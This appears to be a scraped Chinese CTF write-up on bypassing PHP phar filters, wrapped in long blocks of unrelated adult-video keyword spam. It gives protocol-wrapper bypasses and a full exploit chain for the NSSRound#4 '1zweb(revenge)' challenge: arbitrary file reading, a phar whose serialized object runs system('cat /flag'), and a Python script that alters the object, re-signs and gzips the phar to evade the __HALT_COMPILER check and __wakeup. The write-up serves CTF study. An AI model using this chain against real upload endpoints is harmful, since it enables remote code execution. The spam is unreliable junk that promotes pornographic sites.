日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

phar繞過phar與HALT實現文件上傳功能

瀏覽:21日期:2022-06-06 11:46:45

前面也講過一次phar文件上傳的東西,但是那都是過濾比較低,僅僅過濾了后綴。

知道今天看到了一篇好的文章

如果過濾了phar這個偽造協議的話,那還是比較簡單的

if(preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){

die(); }例如這樣進行了過濾

繞過的話,我們可以用各種協議進行繞過

1、php://filter/read=convert.base64-encode/resource=phar://test.phar

//即使用filter偽協議來進行繞過

2、compress.bzip2://phar:///test.phar/test.txt

//使用bzip2協議來進行繞過

3、compress.zlib://phar:///home/sx/test.phar/test.txt

//使用zlib協議進行繞過

當如果__HALT_COMPILER被過濾了

PHP通過__HALT_COMPILER來識別Phar文件,那么出于安全考慮,即為了防止Phar反序列化的出現,可能就會對這個進行過濾,示例代碼如下

因為phar是通過這個來判斷是不是phar文件,而不是通過后綴來判斷,所以我們可以隨便的更改后綴而不會影響效果

這里的辦法:是將生成的Phar文件進行gzip壓縮

gziptest.phar

cat test.phar.gz

例題: [NSSRound#4 SWPU]1zweb

打開題目以后,第一眼只是覺得是上傳文件的漏洞,可是上傳都不太行。

讓我改變了一個思維,試了一下 /flag萬一呢,eee

竟然出了,那就看看下一道進階題,估計是出題人忽略了這個

[NSSRound#4 SWPU]1zweb(revenge)

這道題出題人就進行了限制

因為是前提的一個提示,所以我覺得也不會是單純的文件上傳漏洞

這時候試一下/etc/passwd,有沒有任意文件讀取漏洞,前面做過的一道題用到了這個。

果然有,那就讀取一下源碼index.php,和upload.php上傳文件

<?phpif ($_FILES["file"]["error"] > 0){    echo "上傳異常";}else{    $allowedExts = array("gif", "jpeg", "jpg", "png");    $temp = explode(".", $_FILES["file"]["name"]);    $extension = end($temp);    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES["file"]["tmp_name"]);$pos = strpos($content, "__HALT_COMPILER();");if(gettype($pos)==="integer"){    echo "ltj一眼就發現了phar";}else{    if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已經存在";    }else{$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($myfile, $content);fclose($myfile);echo "上傳成功 ./upload/".$_FILES["file"]["name"];    }}    }else{echo "dky不喜歡這個文件 .".$extension;    }}?>

限制了后綴只能是,gif,jpeg,jpg,png格式,并且過濾了HALT_COMPILER(), 所以這道題的考點就是繞過這個

<?phpclass LoveNss{    public $ljt;    public $dky;    public $cmd;    public function __construct(){$this->ljt="ljt";$this->dky="dky";phpinfo();    }    public function __destruct(){if($this->ljt==="Misc"&&$this->dky==="Re")    eval($this->cmd);    }    public function __wakeup(){$this->ljt="Re";$this->dky="Misc";    }}$file=$_POST["file"];if(isset($_POST["file"])){    if (preg_match("/flag/", $file)) {    	die("nonono");    }    echo file_get_contents($file);}

這個反序列化,是簡單的,僅僅是繞過wakeup就可以,考點并不在這里,發現沒有serialize這個的參數,而且有文件上傳并且file_get_contents可以觸發phar序列化,所以確定了需要phar.

這里就出現了一個問題,phar如何繞過wakeup呢,如何把屬性值加1呢,我們先不考慮這些,先寫出phar 文件來

<?phpclass LoveNss{    public $ljt;    public $dky;    public $cmd;    public function __construct(){$this->ljt="Misc";$this->dky="Re";$this->cmd="system("cat /flag");";    }}$phar = new Phar("quan9i.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ? >");$a = new LoveNss();$phar->setMetadata($a);$phar->addFromString("test.txt", "test");$phar->stopBuffering();?>

這個比較簡單,就直接過了,然后就需要考慮我們以上的問題了

import gzipfrom hashlib import sha1with open("D:\\phpstudy\\quan9i.phar", "rb") as file:    f = file.read()s = f[:-28] # 獲取要簽名的數據s = s.replace(b"3:{", b"4:{")#更換屬性值,繞過__wakeuph = f[-8:] # 獲取簽名類型以及GBMB標識newf = s + sha1(s).digest() + h # 數據 + 簽名 + (類型 + GBMB)#print(newf)newf = gzip.compress(newf) #對Phar文件進行gzip壓縮with open("D:\\phpStudy\\newquanqi.png", "wb") as file:#更改文件后綴    file.write(newf)

找到我們生成phar的文件目錄,只讀

因為我們改變了phar里面的內容,wakeup屬性值,所以需要重新生成一個標簽

就會直接生成一個png的文件,我們直接上傳然后phar協議讀取

到此這篇關于phar繞過phar與HALT實現文件上傳功能的文章就介紹到這了,更多相關phar文件上傳內容請搜索以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持!

標簽: PHP
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
成人va天堂| 亚洲激情精品| 免费一级欧美在线观看视频 | 中文字幕日本一区| 天堂va欧美ⅴa亚洲va一国产| 久久激情五月激情| 日本欧美国产| a国产在线视频| 亚洲va在线| 噜噜噜躁狠狠躁狠狠精品视频| 日韩精品一级中文字幕精品视频免费观看 | 成人三级高清视频在线看| 国产不卡人人| 国产高清一区| 97久久亚洲| 热三久草你在线| 免费成人在线影院| 久久精品国产在热久久| 欧美亚洲国产一区| 奇米777国产一区国产二区| 免费一级欧美在线观看视频| 日韩黄色大片| 日韩欧美久久| 天堂日韩电影| 欧美日韩一区自拍| 在线日韩中文| 国产精品视频一区二区三区四蜜臂| 神马久久午夜| 性色一区二区| а√在线中文在线新版| 美女网站久久| 国产一区二区三区不卡视频网站| 91久久久精品国产| 国产精品视频3p| 欧美色图国产精品| 国产精品永久| 久久国产高清| 成人片免费看| 欧美片第1页综合| 亚洲精品网址| 成人日韩av| 婷婷精品在线| 国内亚洲精品| 久久99久久久精品欧美| 在线亚洲观看| 国产拍在线视频| 日韩欧美四区| 亚洲免费高清| 欧美xxxx中国| 欧美日韩一区自拍| 欧美日韩免费观看一区=区三区| 69堂免费精品视频在线播放| 黄色不卡一区| 国产成人精品一区二区三区在线| 一区二区三区网站| 欧美日韩精品免费观看视欧美高清免费大片 | 日韩伦理一区| 国产探花一区二区| 99在线|亚洲一区二区| 高清一区二区三区av| 亚洲精品大全| 不卡中文字幕| 都市激情国产精品| 国产精品亚洲综合久久| 日韩欧美2区| 免费人成黄页网站在线一区二区| 久久久久国产精品一区三寸| 久久精品国产精品亚洲毛片| 亚洲三级网址| 国产精品呻吟| 欧美日韩激情| 91精品一区二区三区综合| 国产在线观看www| 精品一区二区三区亚洲| 国产欧美精品久久| 国产亚洲观看| 日韩av成人高清| 亚洲天堂日韩在线| 国产精品美女久久久| 午夜久久美女| 欧美特黄一区| 99国产精品| 亚洲视频www| 亚洲精品一区二区妖精| 久久精品亚洲人成影院 | 国产一区观看| 国精品一区二区| 99精品美女| 久久蜜桃资源一区二区老牛| 日韩在线第七页| 99久久亚洲精品蜜臀| 久久九九电影| 精品在线播放| 亚洲激情黄色| 在线免费观看亚洲| 男女男精品视频网| 亚洲一区二区三区四区电影 | 久久国产66| 综合日韩在线| 色综合视频一区二区三区日韩| 亚洲毛片在线免费| 婷婷综合福利| 国产人成精品一区二区三| 久久成人av| 久久久久久一区二区| 日韩一区电影| 九九综合在线| 免费日韩视频| 欧美日韩一视频区二区| 久久精品国产99| 亚洲v在线看| 亚洲免费影院| 国产精品一国产精品| 成人精品国产亚洲| 五月天久久久| 欧美一级久久| 色乱码一区二区三区网站| 亚洲性视频h| 亚洲精品成a人ⅴ香蕉片| 国产调教精品| 中文在线а√天堂| 欧美资源在线| 天堂av一区| 精品国产乱码久久久| 国产精品99免费看| 日韩三级一区| 中文字幕人成乱码在线观看| 国产精品外国| 欧美国产另类| 亚洲成人二区| 日韩av一级片| 国产精品麻豆久久| 免费日韩av片| 欧美精品导航| 欧美精品高清| 深夜福利亚洲| 日本高清不卡一区二区三区视频| 国产精品普通话对白| 国产激情欧美| 国产亚洲一区在线| 久草精品视频| 久久国产精品久久w女人spa| 国产精品久久免费视频| 天堂资源在线亚洲| 国产精品一区二区99| japanese国产精品| 国产乱论精品| 欧美在线资源| 精品网站999| 丝袜美腿一区二区三区| 美女精品视频在线| 亚洲一区黄色| 激情不卡一区二区三区视频在线| 国产精品普通话对白| 久久伊人久久| 日韩精品一二三| 亚洲涩涩在线| 国产精品久久久久久久久久齐齐| 狠狠干成人综合网| 福利精品在线| 欧美精品三级在线| 亚洲欧美日本国产专区一区| 欧美国产偷国产精品三区| 亚洲精品黄色| 欧美日韩少妇| 国产亚洲一区二区三区啪| 国产成人精品免费视| 亚洲免费观看高清完整版在线观| 国产精品115| 亚洲一区二区日韩| 久久久久91| 麻豆国产精品| 亚洲精品进入| 亚洲欧洲美洲av| 亚洲a一区二区三区| 精品国产18久久久久久二百| 亚洲精品字幕| 九九久久婷婷| 日韩国产欧美一区二区| 免费观看亚洲天堂| 日韩av中文字幕一区二区| 午夜在线一区| 午夜精品成人av| 精品午夜av| 国产精品色在线网站| 亚洲毛片在线| 蜜臀av国产精品久久久久| 99在线|亚洲一区二区| 久久国产免费| 98精品视频| 福利一区和二区| 麻豆一区二区三| 国产精品xvideos88| 国产精品乱战久久久| 国产伦理久久久久久妇女| 国产精品videossex| 中文字幕中文字幕精品| 国精品一区二区| 日本精品影院| 免费福利视频一区二区三区|